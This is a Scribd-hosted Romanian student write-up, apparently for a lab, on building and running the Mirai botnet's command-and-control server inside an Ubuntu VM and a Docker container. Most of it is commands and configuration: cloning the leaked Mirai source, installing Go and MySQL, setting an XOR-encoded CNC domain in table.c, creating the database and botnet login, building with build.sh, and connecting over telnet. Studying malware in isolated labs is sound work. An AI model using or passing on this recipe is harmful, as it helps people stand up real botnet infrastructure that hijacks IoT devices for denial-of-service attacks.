The document provides instructions for setting up a Mirai botnet command and control server using a Ubuntu virtual machine and Docker container. It involves cloning the Mirai source code repository, configuring the VM, building and running the CNC software within the Docker container, and connecting to the CNC interface via telnet. Key steps include initializing the Docker container mapped to the source code folder, installing dependencies, modifying configuration files, building and running the CNC executable, and accessing it on localhost to log in as the configured user.
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0 ratings0% found this document useful (0 votes)
95 views11 pages
Malwaer MIRAI
The document provides instructions for setting up a Mirai botnet command and control server using a Ubuntu virtual machine and Docker container. It involves cloning the Mirai source code repository, configuring the VM, building and running the CNC software within the Docker container, and connecting to the CNC interface via telnet. Key steps include initializing the Docker container mapped to the source code folder, installing dependencies, modifying configuration files, building and running the CNC executable, and accessing it on localhost to log in as the configured user.
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 11
DOCUMENTATIE MIRAI
STUDENT: CALIN CATALIN IACOB
1. Initializare proiect mirai. - Pentru a rula CNC-ul avem nevoie de o masina virtuala cu Ubuntu Server, care poate fi descarcat de aici: https://ubuntu.com/server
- Folosind Oracle VM VirtualBox Manager cream
masina virtuala: https://www.oracle.com/ro/virtualization/technologies/ vm/downloads/virtualbox-downloads.html Partea 1 Pas1: Setam configuratia VM-ului Pas 2: Alocam memoria RAM(recomandata minim 2GB)
Pas 3: Pas4:
Pas5: Pas 6: Alocam memoria ROM(recomandat minim 25GB, locatia nu conteaza) Pas 7: De la “Settings” setam minim 2 procesoare
Pas8: Ii dam start si selectam imaginea de Ubuntu descarcata,
dupa care instalam Ubuntu server pe VM. Partea 2 - Dupa ce avem instalat Ubuntu server inecepem prin a intializa proiectul Mirai, prin a introduce urmatoarele comenzi intr-un terminal. 1. Cloăm repo-ul cu proiectul: git clone https://github.com/jgamblin/Mirai-Source-Code 2. Facem un container de docker sudo docker run --name mirai_cnc -v /home/”user”/Mirai- Source-Code:/proiect -it ubuntu
3. Pentru gcc si make
apt update apt install -y build-essential ca-certificates openssl curl 4. Instalam go # Stergem ultima versiune (daca exista) rm -rf /usr/local/go # Descarcam arhiva care contine go curl -OL https://golang.org/dl/go1.21.3.linux-amd64.tar.gz # Despachetam arhiva in /usr/local/go tar -C /usr/local -xvf go1.21.3.linux-amd64.tar.gz # Adaugam path-ul in $PATH export PATH=$PATH:/usr/local/go/bin # Stergem arhiva rm go1.21.3.linux-amd64.tar.gz 5. Modificam intrarea din table.c cu xorul de mai sus, urmat de numarul de bytes(cd /proiect/mirai/bot/table.c) add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x51\x47\x50\x54\x47\x50\x22", 11); // cnc.server 6. Instalam mysql apt install -y mysql-server mysql-client service mysql start mysql 7. Cream un nou user si ii dam privilegi CREATE USER 'ana'@'localhost' IDENTIFIED WITH mysql_native_password BY 'mere';
GRANT ALL PRIVILEGES ON *.* TO 'ana'@'localhost'
WITH GRANT OPTION; FLUSH PRIVILEGES; 8. Cream baza de date CREATE DATABASE mirai; USE mirai;
SOURCE fullpath/db.sql;
INSERT INTO users VALUES (NULL, 'anna-senpai',
'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); 9. Editam fisierul main.go(cd /proiect/mirai/cnc) cu valorile alese de noi: const DatabaseAddr string = "127.0.0.1" const DatabaseUser string = "ana" const DatabasePass string = "mere" const DatabaseTable string = "mirai" 10. Pentu Build trebuie sa cream directorul “/mirai/debug” mkdir /proiect/mirai/debug 11. Pentru a da build la proiect: cd /proiect/mirai ./build.sh debug telnet go mod init cnc.mirai go mod tidy go get github.com/go-sql-driver/mysql go get github.com/mattn/go-shellwords ./build.sh debug telnet 12. Pentru CNC ca să pornescă trebuie copiat prompt.txt langă executabil/fișierele .go cp prompt.txt debug cd debug ./cnc # Ar trebui sa apara "Mysql DB opened" 13. In alt terminal, ne conectam la container sudo docker exec -it mirai_cnc bash # Pentru conexiunea la CNC: telenet 127.0.0.1 # user - 'anna-senpai' # password - 'myawesomepassword' Hints for docker: - pentru a opri containerul de docker sudo docker stop mirai_cnc - pentru a porni containerul de docker sudo docker start mirai_cnc - pentu a intra in bash-ul containerului sudo docker exec -it mirai_cnc bash